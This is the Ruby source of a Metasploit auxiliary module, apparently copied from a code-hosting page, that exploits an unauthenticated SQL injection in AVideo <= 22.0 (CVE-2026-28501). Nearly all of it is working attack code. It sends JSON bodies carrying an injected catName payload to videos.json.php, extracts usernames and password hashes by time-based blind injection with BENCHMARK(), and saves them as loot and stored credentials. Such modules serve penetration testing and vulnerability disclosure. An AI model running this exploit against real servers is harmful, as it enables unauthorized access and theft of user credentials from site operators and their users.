Path: blob/master/modules/auxiliary/gather/avideo_catname_sqli.rb
59959 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::SQLi7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AVideo Unauthenticated SQL Injection Credential Dump',16'Description' => %q{17AVideo <= 22.0 is vulnerable to unauthenticated SQL injection via the18catName parameter in objects/videos.json.php (CVE-2026-28501).1920The security filter in security.php sanitizes GET/POST parameters but21does not cover JSON request bodies. Since videos.json.php parses JSON22input and merges it into $_REQUEST after the filter runs, a catName23value sent as JSON bypasses sanitization entirely and reaches24getCatSQL() unsanitized.2526This module uses time-based blind injection with BENCHMARK() to dump27usernames and password hashes. SLEEP() is blocked by the sqlDAL28prepared statement layer, but BENCHMARK(N*(condition), SHA1(x)) works29because the condition is evaluated as a multiplier on the iteration30count, avoiding the subquery restrictions imposed by prepare().3132Fixed in 24.0 (no 23.0 release exists).33},34'Author' => [35'arkmarta', # Vulnerability discovery36'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module37],38'License' => MSF_LICENSE,39'References' => [40['CVE', '2026-28501'],41['GHSA', 'pv87-r9qf-x56p', 'WWBN/AVideo']42],43'DisclosureDate' => '2026-03-05',44'DefaultOptions' => { 'SqliDelay' => 1 },45'Notes' => {46'Stability' => [CRASH_SAFE],47'SideEffects' => [IOC_IN_LOGS],48'Reliability' => []49}50)51)5253register_options([54OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),55OptInt.new('COUNT', [true, 'Number of users to dump (default: all)', 0])56])57end5859def check60res = send_request_cgi('uri' => endpoint_uri, 'method' => 'GET')6162return Exploit::CheckCode::Unknown('Failed to connect to the target.') unless res63return Exploit::CheckCode::Safe("Unexpected HTTP #{res.code}") unless res.code == 2006465json = res.get_json_document66return Exploit::CheckCode::Safe('Response is not valid JSON') if json.empty?67return Exploit::CheckCode::Safe('Response missing expected fields') unless json.key?('total') && json.key?('rows')6869setup_sqli7071if @setup_sqli.test_vulnerable72return Exploit::CheckCode::Vulnerable('Time-based blind SQLi confirmed via BENCHMARK()')73end7475Exploit::CheckCode::Safe('Endpoint accessible but injection did not trigger')76end7778def run79setup_sqli8081columns = %w[user password]82count = datastore['COUNT']83print_status('Dumping user credentials from the users table...')84print_warning('Time-based blind extraction is slow (~4s per character). Be patient.')85data = @setup_sqli.dump_table_fields('users', columns, '', count)8687table = Rex::Text::Table.new(88'Header' => 'AVideo Users',89'Indent' => 4,90'Columns' => columns91)9293data.each do |row|94table << row9596next if row[1].blank?9798create_credential({99workspace_id: myworkspace_id,100origin_type: :service,101module_fullname: fullname,102username: row[0],103private_type: :nonreplayable_hash,104jtr_format: Metasploit::Framework::Hashes.identify_hash(row[1]),105private_data: row[1],106service_name: ssl ? 'https' : 'http',107address: rhost,108port: rport,109protocol: 'tcp',110status: Metasploit::Model::Login::Status::UNTRIED111})112end113114print_line(table.to_s)115116loot_data = data.map { |row| "#{row[0]}:#{row[1]}" }.join("\n")117loot_path = store_loot('avideo.users', 'text/plain', rhost, loot_data, 'avideo_users.txt', 'AVideo User Credentials')118print_good("Loot saved to: #{loot_path}")119120report_host(host: rhost)121report_service(host: rhost, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http')122report_vuln(host: rhost, port: rport, proto: 'tcp', name: fullname, refs: references, info: description.strip)123end124125private126127def endpoint_uri128normalize_uri(target_uri.path, 'objects', 'videos.json.php')129end130131def setup_sqli132@setup_sqli ||= create_sqli(dbms: MySQLi::BenchmarkBasedBlind, opts: { hex_encode_strings: true, safe: true }) do |payload|133body = { 'catName' => "' OR #{payload} AND '1'='1", 'doNotShowCatChilds' => 1 }.to_json134135send_request_cgi({136'uri' => endpoint_uri,137'method' => 'POST',138'ctype' => 'application/json',139'data' => body140})141end142end143end144145146